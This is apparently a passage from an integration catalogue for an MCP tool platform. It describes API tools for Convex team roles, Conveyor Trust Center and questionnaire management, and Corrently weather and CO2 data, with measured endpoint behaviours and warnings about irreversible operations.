Invite a member to the given team by email. `role` is required and must be one of `admin`, `developer`, or `custom`. Pass `custom` together with a non-empty `customRoles` list to invite a member into a custom role; for `admin` and `developer`, `customRoles` must be omitted. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/teams/{team_id}/invite_team_member. Scopes: api. convex_post_teams_by_team_id_update_custom_role (write) — Update a custom role via POST /teams/{team_id}/update_custom_role. Updates an existing custom role's name, description, and permission statements. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT, Team Token for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/teams/{team_id}/update_custom_role. Scopes: api. convex_post_teams_by_team_id_update_team_member_role (write) — Update a team member's role via POST /teams/{team_id}/update_team_member_role. Sets either the member's built-in `role` (admin/developer) or their `customRoles`. The two fields are mutually exclusive: setting `role` clears `customRoles`, and setting `customRoles` (must be non-empty) puts the member in the `custom` role. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/teams/{team_id}/update_team_member_role. Scopes: api. convex_post_teams_create_team (write) — Create a team via POST /teams/create_team. This endpoint is not publicly accessible. It is reserved for specific integrations that have been granted permission to create teams on behalf of users. To request access, contact platforms@convex.dev. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/teams/create_team. Scopes: api. ================================================================================ ## Conveyor URL: https://www.agenticfabriq.com/integrations/conveyor Section: Integrated Tools Conveyor — 48 MCP tools Provider key: conveyor. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. conveyor_delete_v2_exchange_documents_by_document_id (write, destructive) — Delete a Trust Center document via DELETE /v2/exchange/documents/{document_id}. Deletes a document. IRREVERSIBLE: the document and every version of its file are removed from your Trust Center, and any customer link to it stops working. Measured 2026-09-18 on a document created for the purpose: 204 with an empty body, and the document gone from the list afterwards. An id that does not exist answers 400 "Record not found", not 404. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. DELETE /api/v1/conveyor/v2/exchange/documents/{document_id}. Scopes: api. conveyor_delete_v2_exchange_folders_by_folder_id (write, destructive) — Delete a Trust Center folder via DELETE /v2/exchange/folders/{folder_id}. Deletes a folder. IRREVERSIBLE. Measured 2026-09-18 on folders created for the purpose: 204 with an empty body, and gone from the list afterwards. An id that does not exist answers 400 "Record not found", not 404. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. DELETE /api/v1/conveyor/v2/exchange/folders/{folder_id}. Scopes: api. conveyor_delete_v2_subprocessors_by_subprocessor_id (write, destructive) — Remove a subprocessor via DELETE /v2/subprocessors/{subprocessor_id}. IRREVERSIBLE, and it is PUBLISHED state: your Trust Center's vendor profile is what customers read during due diligence, and everyone subscribed to subprocessor-change notifications is emailed when this list changes. Measured 2026-09-18 on a subprocessor created for the purpose: 204 with an empty body, and gone from the list afterwards. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. DELETE /api/v1/conveyor/v2/subprocessors/{subprocessor_id}. Scopes: api. conveyor_get_v2_collaboration_groups (read) — List collaboration groups via GET /v2/collaboration_groups. List all collaboration groups (Team Routing) configured for your organization. Collaboration groups are teams that questionnaire questions route to. Each group has members and optional AI suggestion instructions that tell ConveyorAI when to propose that group for a question. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/collaboration_groups. Scopes: api. conveyor_get_v2_exchange_access_groups (read) — List Trust Center access groups via GET /v2/exchange/access_groups. Gets all the access groups for a program. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/access_groups. Scopes: api. conveyor_get_v2_exchange_authorization_request_queue (read) — List the Trust Center access request queue via GET /v2/exchange/authorization_request_queue. Gets all the open authorization requests for a program. WARNING: this endpoint can be replicated by hitting the GET Authorization Requests endpoint (https://docs.conveyor.com/reference/get-authorization-requests) with the status parameter 'requested'. As such, we are looking to deprecate this endpoint in the near future. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/authorization_request_queue. Scopes: api. conveyor_get_v2_exchange_authorization_requests (read) — List Trust Center access requests via GET /v2/exchange/authorization_requests. Gets authorization requests with an optional status filter. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/authorization_requests. Scopes: api. conveyor_get_v2_exchange_authorization_requests_by_authorization_request_id (read) — Get a Trust Center access request via GET /v2/exchange/authorization_requests/{authorization_request_id}. Gets the authorization request with the ID from the path. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/authorization_requests/{authorization_request_id}. Scopes: api. conveyor_get_v2_exchange_authorizations (read) — List Trust Center authorizations via GET /v2/exchange/authorizations. Gets authorizations with an optional status filter. This is where conveyor_get_v2_exchange_gate_document_signatures_by_id's `id` comes from: each authorization carries a `gate_document_signature_id`, which is null until the visitor has signed the room's NDA. MEASURED 2026-09-18: 200 with the real key, 401 without, against an invented sibling at the same depth answering 404 both ways. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/authorizations. Scopes: api. conveyor_get_v2_exchange_connections (read) — List Trust Center connections via GET /v2/exchange/connections. List the Trust Center exchange connections for your organization. Recovered from the research run's discovery; absent from the per-page OpenAPI fragments. Route MEASURED 2026-09-17: GET 401 against an invented-path control at the same depth (/v2/exchange/invented_xyz) returning 404. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/connections. Scopes: api. conveyor_get_v2_exchange_documents (read) — List Trust Center documents via GET /v2/exchange/documents. Gets all documents. The document LIST, and the id source for the document PATCH and DELETE -- before this shipped, an agent could update or delete a document by id and had no way to discover one. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/documents. Scopes: api. conveyor_get_v2_exchange_folders (read) — List Trust Center folders via GET /v2/exchange/folders. Gets all folders. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/folders. Scopes: api. conveyor_get_v2_exchange_gate_document_signatures_by_id (read) — Get a signed NDA via GET /v2/exchange/gate_document_signatures/{id}. Gets a signed NDA document with a temporary download link (valid for 1 hour). Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/exchange/gate_document_signatures/{id}. Scopes: api. conveyor_get_v2_interactions (read) — List Trust Center interactions via GET /v2/interactions. Gets all interactions (document interactions, q&a interactions) with optional filters. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/interactions. Scopes: api. conveyor_get_v2_interactions_connections_by_connection_id (read) — List interactions for a connection via GET /v2/interactions/connections/{connection_id}. Gets all interactions (document interactions, q&a interactions) for a given connection. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/interactions/connections/{conveyor_connection_id}. Scopes: api. conveyor_get_v2_interactions_documents_by_document_id (read) — List interactions for a document via GET /v2/interactions/documents/{document_id}. Gets all interactions (document interactions, q&a interactions) for a given document. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/interactions/documents/{document_id}. Scopes: api. conveyor_get_v2_interactions_questions_by_question_id (read) — List interactions for a question via GET /v2/interactions/questions/{question_id}. Gets all interactions (document interactions, q&a interactions) for a given Knowledge Base q&a. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/interactions/questions/{question_id}. Scopes: api. conveyor_get_v2_knowledge_base_question_tags (read) — List knowledge base question tags via GET /v2/knowledge_base/question_tags. Question tags are program-scoped labels used to organize and filter curated Q&As. Use the returned tag IDs with the question_tag_ids parameter on POST or PATCH /api/v2/knowledge_base/questions to tag Q&As. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/knowledge_base/question_tags. Scopes: api. conveyor_get_v2_knowledge_base_questions (read) — List curated Q&A via GET /v2/knowledge_base/questions. Gets all knowledge base questions with optional filters. The id source for conveyor_patch_v2_knowledge_base_questions_by_id, which has no other. `status` filters to verified or unverified only -- note that unverified does NOT mean excluded from answering: MEASURED 2026-09-18, a row reading `status: unverified` still reads `use_for_question_answering: true`, and `question_answering_usage` (always / test_only / non_test_only) is the field that governs it. That one is set at creation and CANNOT be changed -- a PATCH carrying only it answers 400 'No update parameters provided'. MEASURED: 200 with the real key, 401 without, invented sibling 404 both ways. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/knowledge_base/questions. Scopes: api. conveyor_get_v2_knowledge_base_search (read) — Search the knowledge base via GET /v2/knowledge_base/search. Searches the knowledge base for curated Q&As and past questionnaire answers matching a text query. Returns results from both the curated knowledge base and historical questionnaire answers. Answers are truncated to 500 characters. Authentication: API key or OAuth. `product_line_ids` is a COMMA-SEPARATED string, not a list. Measured 2026-09-18: `?product_line_ids=A,B` and `?product_line_ids[]=A&product_line_ids[]=B` both read BOTH ids, while the repeated-key form `?product_line_ids=A&product_line_ids=B` silently keeps only the LAST one. An id Conveyor does not know is refused by name. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/knowledge_base/search. Scopes: api. conveyor_get_v2_oneoff_questions (read) — List one-off questions via GET /v2/oneoff_questions. Returns a paginated list of one-off questions submitted through API, Slack, browser extension, web app, or customer room sources. Each question includes ConveyorAI's generated answer, answer metadata, issue status, source metadata, and the user who asked the question when available. Conveyor returns this collection under a `search_queries` key rather than the `questions` key its own schema documents (measured 2026-09-18); read whichever the response carries. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/oneoff_questions. Scopes: api. conveyor_get_v2_product_lines (read) — List product lines via GET /v2/product_lines. Gets all the product lines for a program. The id source for `product_line_ids`, which appears in nine shipped tools' schemas and had no other. Returns the program's product lines under `_embedded.product_lines` -- an envelope the vendor's spec and the live response agree on. MEASURED 2026-09-18: 200 with the real key (empty list on a tenant with no product lines configured), 401 without, invented sibling 404 both ways. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/product_lines. Scopes: api. conveyor_get_v2_projects (read) — List RFP projects via GET /v2/projects. List RFP projects with optional filters. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/projects. Scopes: api. conveyor_get_v2_question_categories (read) — List question categories via GET /v2/question_categories. Lists all available question categories (security domains) for tagging Knowledge Base Q&As. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/question_categories. Scopes: api. conveyor_get_v2_questionnaires (read) — List questionnaires via GET /v2/questionnaires. Gets all questionnaires with optional filters. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/questionnaires. Scopes: api. conveyor_get_v2_questionnaires_by_id_exports_by_export_id (read) — Get a questionnaire export via GET /v2/questionnaires/{id}/exports/{export_id}. Poll export status and get download URL. POST to create an export, then poll GET until status is "completed" and download_url is present. Both ids are required and both must belong together: a questionnaire id with another questionnaire's export answers 400 "Record not found" rather than a 404 (measured 2026-09-18). Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/questionnaires/{id}/exports/{export_id}. Scopes: api. conveyor_get_v2_questionnaires_questions (read) — List questionnaire questions via GET /v2/questionnaires/questions. Returns a paginated list of questions extracted from questionnaires submitted to ConveyorAI. Each question includes the bot's draft answer, the final human-reviewed answer, grading data, collaborators, cited sources, answer revision history, and metadata about the parent questionnaire. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/questionnaires/questions. Scopes: api. conveyor_get_v2_subprocessors (read) — List subprocessors via GET /v2/subprocessors. List your company's active subprocessors. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/subprocessors. Scopes: api. conveyor_get_v2_trust_center_conversations (read) — List Trust Center conversations via GET /v2/trust_center/conversations. List Trust Center Agent conversations. Returns conversations between customers and the Trust Center AI agent, with nested messages and referenced documents. Use this to understand what prospects are asking during due diligence, which documents the agent recommends, and how conversations flow. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/trust_center/conversations. Scopes: api. conveyor_get_v2_trust_center_feedbacks (read) — List Trust Center feedback via GET /v2/trust_center/feedbacks. Returns paginated Trust Center survey feedback responses. Authentication: API key or OAuth. Requires Trust Center Designer read permission. `dataroom_id` is documented as required and is NOT enforced: measured 2026-09-18, the route answers 200 with no dataroom_id, with a zero UUID and with a value that is not a UUID at all. Get the id from any folder returned by the list-folders tool, whose `dataroom_id` field names it. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/trust_center/feedbacks. Scopes: api. conveyor_get_v2_vendor_subscriptions (read) — List subprocessor-change subscribers via GET /v2/vendor_subscriptions. Lists all users who signed up for subprocessor change notifications on your Trust Center. These subscribers receive emails when subprocessors are added or removed from your vendor profile. Authentication: API key or OAuth. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. GET /api/v1/conveyor/v2/vendor_subscriptions. Scopes: api. conveyor_patch_v2_exchange_authorization_requests_by_authorization_request_id (write) — Ignore a Trust Center access request via PATCH /v2/exchange/authorization_requests/{authorization_request_id}. Update the status of an authorization request to be ignored. `status` accepts exactly one value, `ignored` -- this dismisses a pending access request rather than approving it; approval is POST /v2/exchange/authorizations. `reviewer_email` is REQUIRED and is recorded as who dismissed it, so it must be a real user in your organization. Conveyor's documentation lists these fields as query parameters; this integration sends them as a JSON body, which is the only form with an unambiguous encoding for the list-valued ones. NOT measured on this operation: it validates the path id before its parameters, so an id matching nothing answers "Record not found" whatever the body holds, and no real record existed to test against. It rests on the same behaviour measured on five sibling operations -- Conveyor is a Rails application and merges the query string and a JSON body into one params hash. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. PATCH /api/v1/conveyor/v2/exchange/authorization_requests/{authorization_request_id}. Scopes: api. conveyor_patch_v2_exchange_authorizations_by_authorization_id (write, destructive) — Revoke or re-scope Trust Center access via PATCH /v2/exchange/authorizations/{authorization_id}. Revoke an authorization or update it with new access groups. DESTRUCTIVE AND IRREVERSIBLE. `status` accepts exactly one value, `revoked`, and it ends that person's access to your Trust Center room -- nothing in this integration re-grants it. READ THIS BEFORE SENDING `access_group_ids`: the list you send REPLACES the authorization's groups, it does not add to them. Naming two groups REMOVES EVERY OTHER GROUP the authorization held, and an empty array REMOVES ALL OF THEM. To add one group, send the groups it already has PLUS the new one -- read them back from conveyor_get_v2_exchange_authorizations first. Classified destructive rather than write because the HTTP verb is not the effect: this takes access away, while its sibling POST /v2/exchange/authorizations only grants it. MEASURED 2026-09-18: an id matching nothing answers 400 {"error":"Record not found"} while an invented sibling path at the same depth answers 404, which is what proves the route exists rather than the id. Conveyor's documentation lists these fields as query parameters; this integration sends them as a JSON body, which is the only form with an unambiguous encoding for the list-valued ones. NOT measured on this operation: it validates the path id before its parameters, so an id matching nothing answers "Record not found" whatever the body holds, and no real record existed to test against. It rests on the same behaviour measured on five sibling operations -- Conveyor is a Rails application and merges the query string and a JSON body into one params hash. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. PATCH /api/v1/conveyor/v2/exchange/authorizations/{authorization_id}. Scopes: api. conveyor_patch_v2_exchange_documents_by_document_id (write) — Update a Trust Center document via PATCH /v2/exchange/documents/{document_id}. Updates a document. The document's FILE cannot be replaced through this integration -- Conveyor's `file` field takes raw bytes and this build ships no artifact transport, so it is not offered here. Everything else about the document is editable. At least one field must be sent: with none, or with only a field Conveyor does not recognise, it answers 400 "No update parameters provided" (measured 2026-09-18) -- one of the few routes on this API that does not silently ignore an unknown parameter. Conveyor's documentation lists these fields as query parameters; this integration sends them as a JSON body, which Conveyor reads identically (measured 2026-09-18 on this operation) and which is the only form with an unambiguous encoding for the list-valued ones. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. PATCH /api/v1/conveyor/v2/exchange/documents/{document_id}. Scopes: api. conveyor_patch_v2_knowledge_base_questions_by_id (write) — Update a curated Q&A via PATCH /v2/knowledge_base/questions/{id}. Update a Knowledge Base question answer, verification status, product line assignments, question domain assignments, question tags, curator, or any combination of these fields. At least one update parameter must be provided. At least one update field must be sent: with none, Conveyor answers 400 "No update parameters provided". The three id lists REPLACE what is there -- send an empty array to clear, omit to leave unchanged -- and an id Conveyor does not know is refused by name (measured 2026-09-18: "Invalid question domain IDs: ..."), so a 200 means every id was applied. Conveyor's documentation lists these fields as query parameters; this integration sends them as a JSON body, which Conveyor reads identically (measured 2026-09-18 on this operation) and which is the only form with an unambiguous encoding for the list-valued ones. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. PATCH /api/v1/conveyor/v2/knowledge_base/questions/{id}. Scopes: api. conveyor_patch_v2_questionnaire_requests (write) — Update a questionnaire request via PATCH /v2/questionnaire_requests/{id}. PATCH a questionnaire request in Conveyor. The id goes in the PATH. Conveyor's documentation records this endpoint at /v2/questionnaire_requests with the id as a parameter, and that bare path answers 404 (measured 2026-09-18, against an invented sibling at the same depth which also answers 404, and against /v2/questionnaire_requests/ which answers 200); this integration sends it to the real route. An id with no matching request is not an error -- it answers 200 with an empty `questionnaire_requests` list, so check the list rather than the status. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. PATCH /api/v1/conveyor/v2/questionnaire_requests/{id}. Scopes: api. conveyor_patch_v2_questionnaires_by_questionnaire_id (write) — Update a questionnaire via PATCH /v2/questionnaires/{questionnaire_id}. Update a questionnaire. Provide at least one update field. Setting status to completed sets completed_at and triggers grading. `notes` is accepted and does not come back: measured 2026-09-18, a PATCH setting it answers 200 with `notes: null`, while `due_at` on the same call is applied and reflected. `status` takes only `approved` or `completed` and names the alternatives when it is wrong. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. PATCH /api/v1/conveyor/v2/questionnaires/{questionnaire_id}. Scopes: api. conveyor_patch_v2_questionnaires_questions_bulk_update (write) — Update questionnaire questions in bulk via PATCH /v2/questionnaires/questions/bulk_update. Apply the same update to multiple questionnaire questions at once. Provide question_ids and at least one update field: assignee_email, collaboration_group_id, unassign, or reusable. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. PATCH /api/v1/conveyor/v2/questionnaires/questions/bulk_update. Scopes: api. conveyor_patch_v2_questionnaires_questions_by_id (write) — Update a questionnaire question via PATCH /v2/questionnaires/questions/{id}. Toggle whether a questionnaire question's answer is reusable by ConveyorAI for future questionnaires, assign the question to a user or collaboration group, or remove the current assignment. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. PATCH /api/v1/conveyor/v2/questionnaires/questions/{id}. Scopes: api. conveyor_post_v2_exchange_authorizations (write) — Grant Trust Center access via POST /v2/exchange/authorizations. Creates an authorization based on an email or an existing authorization_request. ACTS OUTSIDE THE DATA. This grants a named person access to your Trust Center room and Conveyor emails them an invitation; nothing here can recall a message that has already been sent. It is not classified destructive because it deletes nothing, but treat it as irreversible. Give EITHER `email` OR `request_id`, not neither: with neither, Conveyor answers 400 "Email or request_id is required" (measured 2026-09-18). An address Conveyor cannot place in your program is refused by name, and so is a room owner. `email` and `request_id` are an either/or: Conveyor's own schema marks both required, which is impossible to satisfy as written, and each field's description says one OR the other. Send exactly one. Conveyor's documentation lists these fields as query parameters; this integration sends them as a JSON body, which Conveyor reads identically (measured 2026-09-18 on this operation) and which is the only form with an unambiguous encoding for the list-valued ones. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/exchange/authorizations. Scopes: api. conveyor_post_v2_exchange_folders (write) — Create a Trust Center folder via POST /v2/exchange/folders. Creates a folder. Conveyor's documentation lists these fields as query parameters; this integration sends them as a JSON body, which Conveyor reads identically (measured 2026-09-18 on this operation) and which is the only form with an unambiguous encoding for the list-valued ones. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/exchange/folders. Scopes: api. conveyor_post_v2_knowledge_base_questions (write) — Create a curated Q&A via POST /v2/knowledge_base/questions. Create a curated Q&A pair in the Knowledge Base. Requires the "Write" Knowledge Base Question permission on the API key. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/knowledge_base/questions. Scopes: api. conveyor_post_v2_projects (write) — Create an RFP project via POST /v2/projects. Create a new RFP project. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/projects. Scopes: api. conveyor_post_v2_questionnaires_by_id_exports (write) — Export a questionnaire via POST /v2/questionnaires/{id}/exports. Request an export of a filled questionnaire. A `csv` export completes immediately -- measured 2026-09-18, the reply carries `status: completed` and a signed `download_url` in the same response. `original` and `summary` rebuild a document and come back `pending`; poll the get-export tool until the status is `completed`. The download URL expires after seven days. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/questionnaires/{id}/exports. Scopes: api. conveyor_post_v2_questionnaires_questions_by_id_answer (write) — Answer a questionnaire question via POST /v2/questionnaires/questions/{id}/answer. Write or update an answer on a questionnaire question. Creates a new immutable answer revision; the previous answer is preserved in edit_history. Requires api_questionnaires with write capability, the same permission as PATCH Questionnaire Question. At least one answer field must be provided. Errors: 400 when no answer fields are provided or the question is not found; 403 when the API key lacks api_questionnaires write permission. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/questionnaires/questions/{id}/answer. Scopes: api. conveyor_post_v2_reviews (write) — Create a vendor review via POST /v2/reviews. Creates a review with optional references to external VM unique IDs. Creates a vendor review record. `email` must be a WORK address -- the vendor rejects free consumer domains. MEASURED 2026-09-18 that this route reads a JSON body exactly as it reads the query string: with an empty body it names `email` as missing, and with `email` in the BODY it advances to naming `vendor_name`, identically to sending it in the query. That is why the emitter's move-to-body is safe here. Conveyor's documentation lists these fields as query parameters; this integration sends them as a JSON body, which Conveyor reads identically (measured 2026-09-18 on this operation) and which is the only form with an unambiguous encoding for the list-valued ones. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/reviews. Scopes: api. conveyor_post_v2_single_question (write) — Ask ConveyorAI a question via POST /v2/single_question. Answer a single question. SPENDS THE ACCOUNT'S CONVEYORAI BUDGET: each call runs a generation and is recorded as a one-off question with source `api`, which the list-one-off-questions tool then returns. Measured 2026-09-18: a question against an empty knowledge base answers 201 with `answer: "?"` and a null confidence, so an unhelpful answer is a 201 rather than an error. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/single_question. Scopes: api. conveyor_post_v2_subprocessors (write) — Add a subprocessor via POST /v2/subprocessors. Add a subprocessor to your Trust Center vendor profile. Provide either vendor_name (preferred) or canonical_asset_id to identify the subprocessor company. `vendor_name` must match a company Conveyor already knows: measured 2026-09-18, an unknown name answers 400 "Vendor not available, contact support" while "Twilio" answers 201 and fills in the canonical asset. Conveyor's own spec marks only `description` required; the live API additionally demands one of `vendor_name` or `canonical_asset_id`. Conveyor reports a missing record as 400 `{"error": "Record not found"}` rather than 404; a 404 from this API means the ROUTE does not exist. POST /api/v1/conveyor/v2/subprocessors. Scopes: api. ================================================================================ ## Corrently URL: https://www.agenticfabriq.com/integrations/corrently Section: Integrated Tools Corrently — 21 MCP tools Provider key: corrently. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. corrently_get_public_history (read) — A year of daily historic weather for a location -- temperature, humidity, wind, precipitation and snow -- with yearly climate aggregates (heating-degree days, ice days, tropical nights, vegetation days) and a `meta` block naming each measure's dimension and how it aggregates. Reached by GET /public/history. About 84 KB per call. `zip` is IGNORED here -- this route geocodes by coordinate only -- and without `lat`/`lon` the API geolocates the CALLER by IP, which in production is the gateway's egress location. Always pass coordinates. GET /api/v1/corrently/public/history. Scopes: api. corrently_get_public_prediction (read) — A multi-day weather forecast for a location, with the resolved address, timezone and offset, a prose `description`, the daily `days` series and the `stations` behind it. Reached by GET /public/prediction. About 100 KB per call. `zip` is IGNORED; pass `lat` and `lon`, or the API geolocates the caller by IP. GET /api/v1/corrently/public/prediction. Scopes: api. corrently_get_v2_0_co2_calculate (read) — Converts kilowatt-hours to grams of CO2 at Corrently's published intensity, returning `CO2perUnit`, `co2`, and the amount and unit it read. Reached by GET /v2.0/co2/calculate. The three amount parameters select the MIX, and they are what the intensity depends on: measured 2026-09-19, `kwh=1000` and `kwhGreen=1000` both answer `CO2perUnit: 35`, while `kwhDEMIX=1000` answers `CO2perUnit: 485`. Send exactly one. GET /api/v1/corrently/v2.0/co2/calculate. Scopes: api. corrently_get_v2_0_co2_comparable (read) — Restates a quantity of CO2 in 22 comparable everyday units -- gallons of gasoline, gallons of diesel and the rest -- each with a name, a value, its unit and a sentence describing it. Reached by GET /v2.0/co2/comparable. Call it WITH `co2`: measured 2026-09-19, every `value` is `null` without it and filled in with it, so the parameter is what turns the unit table into an answer. GET /api/v1/corrently/v2.0/co2/comparable. Scopes: api. corrently_get_v2_0_co2_marketdata (read) — Bid and ask prices for carbon certificate products -- `vcs`, `ver`, `gsc` and `rec` -- with the currency, unit and update timestamp. Reached by GET /v2.0/co2/marketdata. Takes no parameters: `currency` was measured IGNORED on 2026-09-19 (the field is echoed but the prices do not move). Only `rec` carried a bid and an ask in that measurement; the other three answered null on both sides, which is a market state and not an error. GET /api/v1/corrently/v2.0/co2/marketdata. Scopes: api. corrently_get_v2_0_co2_oracles (read) — The carbon-credit oracles Corrently recognises, each with its account address, the credit's nature and serial number, total and available supply, and the settlement and clearing periods behind it. Reached by GET /v2.0/co2/oracles. Takes no parameters: `account` was measured IGNORED on 2026-09-19. GET /api/v1/corrently/v2.0/co2/oracles. Scopes: api. corrently_get_v2_0_co2_power_germany (read) — The national German electricity CO2 figures for one day: `totalCo2`, `totalMwh` and the resulting `gPerkWh`. Reached by GET /v2.0/co2/power/germany. GET /api/v1/corrently/v2.0/co2/power/germany. Scopes: api. corrently_get_v2_0_co2_sources (read) — Corrently's tree-based carbon sink inventory: the registered trees with their issue dates and addresses, plus `availLifetime`, `usedLifetime` and `actualSincePlanted`. Reached by GET /v2.0/co2/sources. About 126 KB per call. `zip` was measured IGNORED; the inventory is 